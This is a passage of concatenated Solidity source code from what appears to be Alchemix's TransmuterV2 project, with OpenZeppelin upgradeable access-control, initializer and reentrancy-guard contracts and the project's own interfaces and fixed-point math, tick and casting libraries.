| F | F | // | T | T | T | F | T | T | // // | Branch | Reduction | // |--------------------|-----------| // | Modify Liquidity | PCM' | // | Add Liquidity | P'C + CM | // | Subtract Liquidity | PC' + PM | bool previouslyActive = cache.unexchangedBalance > 0; bool currentlyActive = state.unexchangedBalance > 0; bool migrate = cache.occupiedTick != cache.currentTick; bool modifyLiquidity = previouslyActive && currentlyActive && !migrate; if (modifyLiquidity) { Tick.Info storage tick = ticks.get(cache.occupiedTick); // Consolidate writes to save gas. uint256 totalBalance = tick.totalBalance; totalBalance -= cache.unexchangedBalance; totalBalance += state.unexchangedBalance; tick.totalBalance = totalBalance; } else { bool addLiquidity = (!previouslyActive && currentlyActive) || (currentlyActive && migrate); bool subLiquidity = (previouslyActive && !currentlyActive) || (previouslyActive && migrate); if (addLiquidity) { Tick.Info storage tick = ticks.get(cache.currentTick); if (tick.totalBalance == 0) { ticks.addLast(cache.currentTick); } tick.totalBalance += state.unexchangedBalance; } if (subLiquidity) { Tick.Info storage tick = ticks.get(cache.occupiedTick); tick.totalBalance -= cache.unexchangedBalance; if (tick.totalBalance == 0) { ticks.remove(cache.occupiedTick); } } } // Step Five: // ---------- // Commit the changes to the account. if (cache.unexchangedBalance != state.unexchangedBalance) { account.unexchangedBalance = state.unexchangedBalance; } if (cache.exchangedBalance != state.exchangedBalance) { account.exchangedBalance = state.exchangedBalance; } if (cache.totalUnexchanged != state.totalUnexchanged) { totalUnexchanged = state.totalUnexchanged; } if (cache.occupiedTick != cache.currentTick) { account.occupiedTick = cache.currentTick; } } /// @dev Checks the whitelist for msg.sender. /// /// @notice Reverts if msg.sender is not in the whitelist. function _onlyWhitelisted() internal view { // Check if the message sender is an EOA. In the future, this potentially may break. It is important that // functions which rely on the whitelist not be explicitly vulnerable in the situation where this no longer // holds true. if (tx.origin != msg.sender) { // Only check the whitelist for calls from contracts. if (!IWhitelist(whitelist).isWhitelisted(msg.sender)) { revert Unauthorized(); } } } /// @dev Normalize `amount` of `underlyingToken` to a value which is comparable to units of the debt token. /// /// @param amount The amount of the debt token. /// /// @return The normalized amount. function _normalizeUnderlyingTokensToDebt(uint256 amount) internal view returns (uint256) { return amount * conversionFactor; } /// @dev Normalize `amount` of the debt token to a value which is comparable to units of `underlyingToken`. /// /// @dev This operation will result in truncation of some of the least significant digits of `amount`. This /// truncation amount will be the least significant N digits where N is the difference in decimals between /// the debt token and the underlying token. /// /// @param amount The amount of the debt token. /// /// @return The normalized amount. function _normalizeDebtTokensToUnderlying(uint256 amount) internal view returns (uint256) { return amount / conversionFactor; } function _getExchangedBalance(address owner) internal view returns (uint256 exchangedBalance) { Account storage account = accounts[owner]; if (account.occupiedTick <= satisfiedTick) { exchangedBalance = account.exchangedBalance; exchangedBalance += account.unexchangedBalance; return exchangedBalance; } exchangedBalance = account.exchangedBalance; uint256 exchanged = LiquidityMath.calculateProduct( account.unexchangedBalance, ticks.getWeight(account.occupiedTick, ticks.position) ); exchangedBalance += exchanged; return exchangedBalance; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal onlyInitializing { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal onlyInitializing { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal onlyInitializing { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } pragma solidity ^0.8.11; /// @notice An error used to indicate that an action could not be completed because either the `msg.sender` or /// `msg.origin` is not authorized. error Unauthorized(); /// @notice An error used to indicate that an action could not be completed because the contract either already existed /// or entered an illegal condition which is not recoverable from. error IllegalState(); /// @notice An error used to indicate that an action could not be completed because of an illegal argument was passed /// to the function. error IllegalArgument(); pragma solidity ^0.8.11; import "../base/Errors.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "../libraries/Sets.sol"; /// @title Whitelist /// @author Alchemix Finance interface IWhitelist { /// @dev Emitted when a contract is added to the whitelist. /// /// @param account The account that was added to the whitelist. event AccountAdded(address account); /// @dev Emitted when a contract is removed from the whitelist. /// /// @param account The account that was removed from the whitelist. event AccountRemoved(address account); /// @dev Emitted when the whitelist is deactivated. event WhitelistDisabled(); /// @dev Returns the list of addresses that are whitelisted for the given contract address. /// /// @return addresses The addresses that are whitelisted to interact with the given contract. function getAddresses() external view returns (address[] memory addresses); /// @dev Returns the disabled status of a given whitelist. /// /// @return disabled A flag denoting if the given whitelist is disabled. function disabled() external view returns (bool); /// @dev Adds an contract to the whitelist. /// /// @param caller The address to add to the whitelist. function add(address caller) external; /// @dev Adds a contract to the whitelist. /// /// @param caller The address to remove from the whitelist. function remove(address caller) external; /// @dev Disables the whitelist of the target whitelisted contract. /// /// This can only occur once. Once the whitelist is disabled, then it cannot be reenabled. function disable() external; /// @dev Checks that the `msg.sender` is whitelisted when it is not an EOA. /// /// @param account The account to check. /// /// @return whitelisted A flag denoting if the given account is whitelisted. function isWhitelisted(address account) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0; /// @title ITransmuterV2 /// @author Alchemix Finance interface ITransmuterV2 { /// @notice Emitted when the admin address is updated. /// /// @param admin The new admin address. event AdminUpdated(address admin); /// @notice Emitted when the pending admin address is updated. /// /// @param pendingAdmin The new pending admin address. event PendingAdminUpdated(address pendingAdmin); /// @notice Emitted when the system is paused or unpaused. /// /// @param flag `true` if the system has been paused, `false` otherwise. event Paused(bool flag); /// @dev Emitted when a deposit is performed. /// /// @param sender The address of the depositor. /// @param owner The address of the account that received the deposit. /// @param amount The amount of tokens deposited. event Deposit( address indexed sender, address indexed owner, uint256 amount ); /// @dev Emitted when a withdraw is performed. /// /// @param sender The address of the `msg.sender` executing the withdraw. /// @param recipient The address of the account that received the withdrawn tokens. /// @param amount The amount of tokens withdrawn. event Withdraw( address indexed sender, address indexed recipient, uint256 amount ); /// @dev Emitted when a claim is performed. /// /// @param sender The address of the claimer / account owner. /// @param recipient The address of the account that received the claimed tokens. /// @param amount The amount of tokens claimed. event Claim( address indexed sender, address indexed recipient, uint256 amount ); /// @dev Emitted when an exchange is performed. /// /// @param sender The address that called `exchange()`. /// @param amount The amount of tokens exchanged. event Exchange( address indexed sender, uint256 amount ); /// @notice Gets the version. /// /// @return The version. function version() external view returns (string memory); /// @dev Gets the supported underlying token. /// /// @return The underlying token. function underlyingToken() external view returns (address); /// @notice Gets the address of the whitelist contract. /// /// @return whitelist The address of the whitelist contract. function whitelist() external view returns (address whitelist); /// @dev Gets the unexchanged balance of an account. /// /// @param owner The address of the account owner. /// /// @return The unexchanged balance. function getUnexchangedBalance(address owner) external view returns (uint256); /// @dev Gets the exchanged balance of an account, in units of `debtToken`. /// /// @param owner The address of the account owner. /// /// @return The exchanged balance. function getExchangedBalance(address owner) external view returns (uint256); /// @dev Gets the claimable balance of an account, in units of `underlyingToken`. /// /// @param owner The address of the account owner. /// /// @return The claimable balance. function getClaimableBalance(address owner) external view returns (uint256); /// @dev The conversion factor used to convert between underlying token amounts and debt token amounts. /// /// @return The coversion factor. function conversionFactor() external view returns (uint256); /// @dev Deposits tokens to be exchanged into an account. /// /// @param amount The amount of tokens to deposit. /// @param owner The owner of the account to deposit the tokens into. function deposit(uint256 amount, address owner) external; /// @dev Withdraws tokens from the caller's account that were previously deposited to be exchanged. /// /// @param amount The amount of tokens to withdraw. /// @param recipient The address which will receive the withdrawn tokens. function withdraw(uint256 amount, address recipient) external; /// @dev Claims exchanged tokens. /// /// @param amount The amount of tokens to claim. /// @param recipient The address which will receive the claimed tokens. function claim(uint256 amount, address recipient) external; /// @dev Exchanges `amount` underlying tokens for `amount` synthetic tokens staked in the system. /// /// @param amount The amount of tokens to exchange. function exchange(uint256 amount) external; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.5.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "./ITransmuterV2.sol"; import "../IAlchemistV2.sol"; import "../IERC20TokenReceiver.sol"; /// @title ITransmuterBuffer /// @author Alchemix Finance interface ITransmuterBuffer is IERC20TokenReceiver { /// @notice Parameters used to define a given weighting schema. /// /// Weighting schemas can be used to generally weight assets in relation to an action or actions that will be taken. /// In the TransmuterBuffer, there are 2 actions that require weighting schemas: `burnCredit` and `depositFunds`. /// /// `burnCredit` uses a weighting schema that determines which yield-tokens are targeted when burning credit from /// the `Account` controlled by the TransmuterBuffer, via the `Alchemist.donate` function. /// /// `depositFunds` uses a weighting schema that determines which yield-tokens are targeted when depositing /// underlying-tokens into the Alchemist. struct Weighting { // The weights of the tokens used by the schema. mapping(address => uint256) weights; // The tokens used by the schema. address[] tokens; // The total weight of the schema (sum of the token weights). uint256 totalWeight; } /// @notice Emitted when the alchemist is set. /// /// @param alchemist The address of the alchemist. event SetAlchemist(address alchemist); /// @notice Emitted when an underlying token is registered. /// /// @param underlyingToken The address of the underlying token. /// @param transmuter The address of the transmuter for the underlying token. event RegisterAsset(address underlyingToken, address transmuter); /// @notice Emitted when an underlying token's flow rate is updated. /// /// @param underlyingToken The underlying token. /// @param flowRate The flow rate for the underlying token. event SetFlowRate(address underlyingToken, uint256 flowRate); /// @notice Emitted when the strategies are refreshed. event RefreshStrategies(); /// @notice Emitted when a source is set. event SetSource(address source, bool flag); /// @notice Emitted when a transmuter is updated. event SetTransmuter(address underlyingToken, address transmuter); /// @notice Gets the current version. /// /// @return The version. function version() external view returns (string memory); /// @notice Gets the total credit held by the TransmuterBuffer. /// /// @return The total credit. function getTotalCredit() external view returns (uint256); /// @notice Gets the total amount of underlying token that the TransmuterBuffer controls in the Alchemist. /// /// @param underlyingToken The underlying token to query. /// /// @return totalBuffered The total buffered. function getTotalUnderlyingBuffered(address underlyingToken) external view returns (uint256 totalBuffered); /// @notice Gets the total available flow for the underlying token /// /// The total available flow will be the lesser of `flowAvailable[token]` and `getTotalUnderlyingBuffered`. /// /// @param underlyingToken The underlying token to query. /// /// @return availableFlow The available flow. function getAvailableFlow(address underlyingToken) external view returns (uint256 availableFlow); /// @notice Gets the weight of the given weight type and token /// /// @param weightToken The type of weight to query. /// @param token The weighted token. /// /// @return weight The weight of the token for the given weight type. function getWeight(address weightToken, address token) external view returns (uint256 weight); /// @notice Set a source of funds. /// /// @param source The target source. /// @param flag The status to set for the target source. function setSource(address source, bool flag) external; /// @notice Set transmuter by admin. /// /// This function reverts if the caller is not the current admin. /// /// @param underlyingToken The target underlying token to update. /// @param newTransmuter The new transmuter for the target `underlyingToken`. function setTransmuter(address underlyingToken, address newTransmuter) external; /// @notice Set alchemist by admin. /// /// This function reverts if the caller is not the current admin. /// /// @param alchemist The new alchemist whose funds we are handling. function setAlchemist(address alchemist) external; /// @notice Refresh the yield-tokens in the TransmuterBuffer. /// /// This requires a call anytime governance adds a new yield token to the alchemist. function refreshStrategies() external; /// @notice Registers an underlying-token. /// /// This function reverts if the caller is not the current admin. /// /// @param underlyingToken The underlying-token being registered. /// @param transmuter The transmuter for the underlying-token. function registerAsset(address underlyingToken, address transmuter) external; /// @notice Set flow rate of an underlying token. /// /// This function reverts if the caller is not the current admin. /// /// @param underlyingToken The underlying-token getting the flow rate set. /// @param flowRate The new flow rate. function setFlowRate(address underlyingToken, uint256 flowRate) external; /// @notice Sets up a weighting schema. /// /// @param weightToken The name of the weighting schema. /// @param tokens The yield-tokens to weight. /// @param weights The weights of the yield tokens. function setWeights(address weightToken, address[] memory tokens, uint256[] memory weights) external; /// @notice Exchanges any available flow into the Transmuter. /// /// This function is a way for the keeper to force funds to be exchanged into the Transmuter. /// /// This function will revert if called by any account that is not a keeper. If there is not enough local balance of /// `underlyingToken` held by the TransmuterBuffer any additional funds will be withdrawn from the Alchemist by /// unwrapping `yieldToken`. /// /// @param underlyingToken The address of the underlying token to exchange. function exchange(address underlyingToken) external; /// @notice Burns available credit in the alchemist. function burnCredit() external; /// @notice Deposits local collateral into the alchemist /// /// @param underlyingToken The collateral to deposit. /// @param amount The amount to deposit. function depositFunds(address underlyingToken, uint256 amount) external; /// @notice Withdraws collateral from the alchemist /// /// This function reverts if: /// - The caller is not the transmuter. /// - There is not enough flow available to fulfill the request. /// - There is not enough underlying collateral in the alchemist controlled by the buffer to fulfil the request. /// /// @param underlyingToken The underlying token to withdraw. /// @param amount The amount to withdraw. /// @param recipient The account receiving the withdrawn funds. function withdraw( address underlyingToken, uint256 amount, address recipient ) external; /// @notice Withdraws collateral from the alchemist /// /// @param yieldToken The yield token to withdraw. /// @param shares The amount of Alchemist shares to withdraw. /// @param minimumAmountOut The minimum amount of underlying tokens needed to be recieved as a result of unwrapping the yield tokens. function withdrawFromAlchemist( address yieldToken, uint256 shares, uint256 minimumAmountOut ) external; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.11; /** * @notice A library which implements fixed point decimal math. */ library FixedPointMath { /** @dev This will give approximately 60 bits of precision */ uint256 public constant DECIMALS = 18; uint256 public constant ONE = 10**DECIMALS; /** * @notice A struct representing a fixed point decimal. */ struct Number { uint256 n; } /** * @notice Encodes a unsigned 256-bit integer into a fixed point decimal. * * @param value The value to encode. * @return The fixed point decimal representation. */ function encode(uint256 value) internal pure returns (Number memory) { return Number(FixedPointMath.encodeRaw(value)); } /** * @notice Encodes a unsigned 256-bit integer into a uint256 representation of a * fixed point decimal. * * @param value The value to encode. * @return The fixed point decimal representation. */ function encodeRaw(uint256 value) internal pure returns (uint256) { return value * ONE; } /** * @notice Encodes a uint256 MAX VALUE into a uint256 representation of a * fixed point decimal. * * @return The uint256 MAX VALUE fixed point decimal representation. */ function max() internal pure returns (Number memory) { return Number(type(uint256).max); } /** * @notice Creates a rational fraction as a Number from 2 uint256 values * * @param n The numerator. * @param d The denominator. * @return The fixed point decimal representation. */ function rational(uint256 n, uint256 d) internal pure returns (Number memory) { Number memory numerator = encode(n); return FixedPointMath.div(numerator, d); } /** * @notice Adds two fixed point decimal numbers together. * * @param self The left hand operand. * @param value The right hand operand. * @return The result. */ function add(Number memory self, Number memory value) internal pure returns (Number memory) { return Number(self.n + value.n); } /** * @notice Adds a fixed point number to a unsigned 256-bit integer. * * @param self The left hand operand. * @param value The right hand operand. This will be converted to a fixed point decimal. * @return The result. */ function add(Number memory self, uint256 value) internal pure returns (Number memory) { return add(self, FixedPointMath.encode(value)); } /** * @notice Subtract a fixed point decimal from another. * * @param self The left hand operand. * @param value The right hand operand. * @return The result. */ function sub(Number memory self, Number memory value) internal pure returns (Number memory) { return Number(self.n - value.n); } /** * @notice Subtract a unsigned 256-bit integer from a fixed point decimal. * * @param self The left hand operand. * @param value The right hand operand. This will be converted to a fixed point decimal. * @return The result. */ function sub(Number memory self, uint256 value) internal pure returns (Number memory) { return sub(self, FixedPointMath.encode(value)); } /** * @notice Multiplies a fixed point decimal by another fixed point decimal. * * @param self The fixed point decimal to multiply. * @param number The fixed point decimal to multiply by. * @return The result. */ function mul(Number memory self, Number memory number) internal pure returns (Number memory) { return Number((self.n * number.n) / ONE); } /** * @notice Multiplies a fixed point decimal by an unsigned 256-bit integer. * * @param self The fixed point decimal to multiply. * @param value The unsigned 256-bit integer to multiply by. * @return The result. */ function mul(Number memory self, uint256 value) internal pure returns (Number memory) { return Number(self.n * value); } /** * @notice Divides a fixed point decimal by an unsigned 256-bit integer. * * @param self The fixed point decimal to multiply by. * @param value The unsigned 256-bit integer to divide by. * @return The result. */ function div(Number memory self, uint256 value) internal pure returns (Number memory) { return Number(self.n / value); } /** * @notice Compares two fixed point decimals. * * @param self The left hand number to compare. * @param value The right hand number to compare. * @return When the left hand number is less than the right hand number this returns -1, * when the left hand number is greater than the right hand number this returns 1, * when they are equal this returns 0. */ function cmp(Number memory self, Number memory value) internal pure returns (int256) { if (self.n < value.n) { return -1; } if (self.n > value.n) { return 1; } return 0; } /** * @notice Gets if two fixed point numbers are equal. * * @param self the first fixed point number. * @param value the second fixed point number. * * @return if they are equal. */ function equals(Number memory self, Number memory value) internal pure returns (bool) { return self.n == value.n; } /** * @notice Truncates a fixed point decimal into an unsigned 256-bit integer. * * @return The integer portion of the fixed point decimal. */ function truncate(Number memory self) internal pure returns (uint256) { return self.n / ONE; } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.5.0; import { IllegalArgument } from "../base/Errors.sol"; import { FixedPointMath } from "./FixedPointMath.sol"; /// @title LiquidityMath /// @author Alchemix Finance library LiquidityMath { using FixedPointMath for FixedPointMath.Number; /// @dev Adds a signed delta to an unsigned integer. /// /// @param x The unsigned value to add the delta to. /// @param y The signed delta value to add. /// @return z The result. function addDelta(uint256 x, int256 y) internal pure returns (uint256 z) { if (y < 0) { if ((z = x - uint256(-y)) >= x) { revert IllegalArgument(); } } else { if ((z = x + uint256(y)) < x) { revert IllegalArgument(); } } } /// @dev Calculate a uint256 representation of x * y using FixedPointMath /// /// @param x The first factor /// @param y The second factor (fixed point) /// @return z The resulting product, after truncation function calculateProduct(uint256 x, FixedPointMath.Number memory y) internal pure returns (uint256 z) { z = y.mul(x).truncate(); } /// @notice normalises non 18 digit token values to 18 digits. function normalizeValue(uint256 input, uint256 decimals) internal pure returns (uint256) { return (input * (10**18)) / (10**decimals); } /// @notice denormalizes 18 digits back to a token's digits function deNormalizeValue(uint256 input, uint256 decimals) internal pure returns (uint256) { return (input * (10**decimals)) / (10**18); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import {IllegalArgument} from "../base/Errors.sol"; /// @title Safe casting methods /// @notice Contains methods for safely casting between types library SafeCast { /// @notice Cast a uint256 to a int256, revert on overflow /// @param y The uint256 to be casted /// @return z The casted integer, now type int256 function toInt256(uint256 y) internal pure returns (int256 z) { if (y >= 2**255) { revert IllegalArgument(); } z = int256(y); } /// @notice Cast a int256 to a uint256, revert on underflow /// @param y The int256 to be casted /// @return z The casted integer, now type uint256 function toUint256(int256 y) internal pure returns (uint256 z) { if (y < 0) { revert IllegalArgument(); } z = uint256(y); } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.5.0; import {FixedPointMath} from "./FixedPointMath.sol"; library Tick { using FixedPointMath for FixedPointMath.Number; struct Info { // The total number of unexchanged tokens that have been associated with this tick uint256 totalBalance; // The accumulated weight of the tick which is the sum of the previous ticks accumulated weight plus the weight // that added at the time that this tick was created FixedPointMath.Number accumulatedWeight; // The previous active node. When this value is zero then there is no predecessor uint256 prev; // The next active node. When this value is zero then there is no successor uint256 next; } struct Cache { // The mapping which specifies the ticks in the buffer mapping(uint256 => Info) values; // The current tick which is being written to uint256 position; // The first tick which will be examined when iterating through the queue uint256 head; // The last tick which new nodes will be appended after uint256 tail; } /// @dev Gets the next tick in the buffer. /// /// This increments the position in the buffer. /// /// @return The next tick. function next(Tick.Cache storage self) internal returns (Tick.Info storage) { self.position++; return self.values[self.position]; } /// @dev Gets the current tick being written to. /// /// @return The current tick. function current(Tick.Cache storage self) internal view returns (Tick.Info storage) { return self.values[self.position]; } /// @dev Gets the nth tick in the buffer. /// /// @param self The reference to the buffer. /// @param n The nth tick to get. function get(Tick.Cache storage self, uint256 n) internal view returns (Tick.Info storage) { return self.values[n]; } function getWeight( Tick.Cache storage self, uint256 from, uint256 to ) internal view returns (FixedPointMath.Number memory) { Tick.Info storage startingTick = self.values[from]; Tick.Info storage endingTick = self.values[to]; FixedPointMath.Number memory startingAccumulatedWeight = startingTick.accumulatedWeight; FixedPointMath.Number memory endingAccumulatedWeight = endingTick.accumulatedWeight; return endingAccumulatedWeight.sub(startingAccumulatedWeight); } function addLast(Tick.Cache storage self, uint256 id) internal { if (self.head == 0) { self.head = self.tail = id; return; } // Don't add the tick if it is already the tail. This has to occur after the check if the head // is null since the tail may not be updated once the queue is made empty. if (self.tail == id) { return; } Tick.Info storage tick = self.values[id]; Tick.Info storage tail = self.values[self.tail]; tick.prev = self.tail; tail.next = id; self.tail = id; } function remove(Tick.Cache storage self, uint256 id) internal { Tick.Info storage tick = self.values[id]; // Update the head if it is the tick we are removing. if (self.head == id) { self.head = tick.next; } // Update the tail if it is the tick we are removing. if (self.tail == id) { self.tail = tick.prev; } // Unlink the previously occupied tick from the next tick in the list. if (tick.prev != 0) { self.values[tick.prev].next = tick.next; } // Unlink the previously occupied tick from the next tick in the list. if (tick.next != 0) { self.values[tick.next].prev = tick.prev; } // Zero out the pointers. // NOTE(nomad): This fixes the bug where the current accrued weight would get erased. self.values[id].next = 0; self.values[id].prev = 0; } } pragma solidity ^0.8.11; import "../interfaces/IERC20Burnable.sol"; import "../interfaces/IERC20Metadata.sol"; import "../interfaces/IERC20Minimal.sol"; import "../interfaces/IERC20Mintable.sol"; /// @title TokenUtils /// @author Alchemix Finance library TokenUtils { /// @notice An error used to indicate that a call to an ERC20 contract failed. /// /// @param target The target address. /// @param success If the call to the token was a success. /// @param data The resulting data from the call. This is error data when the call was not a success. Otherwise, /// this is malformed data when the call was a success. error ERC20CallFailed(address target, bool success, bytes data); /// @dev A safe function to get the decimals of an ERC20 token. /// /// @dev Reverts with a {CallFailed} error if execution of the query fails or returns an unexpected value. /// /// @param token The target token. /// /// @return The amount of decimals of the token. function 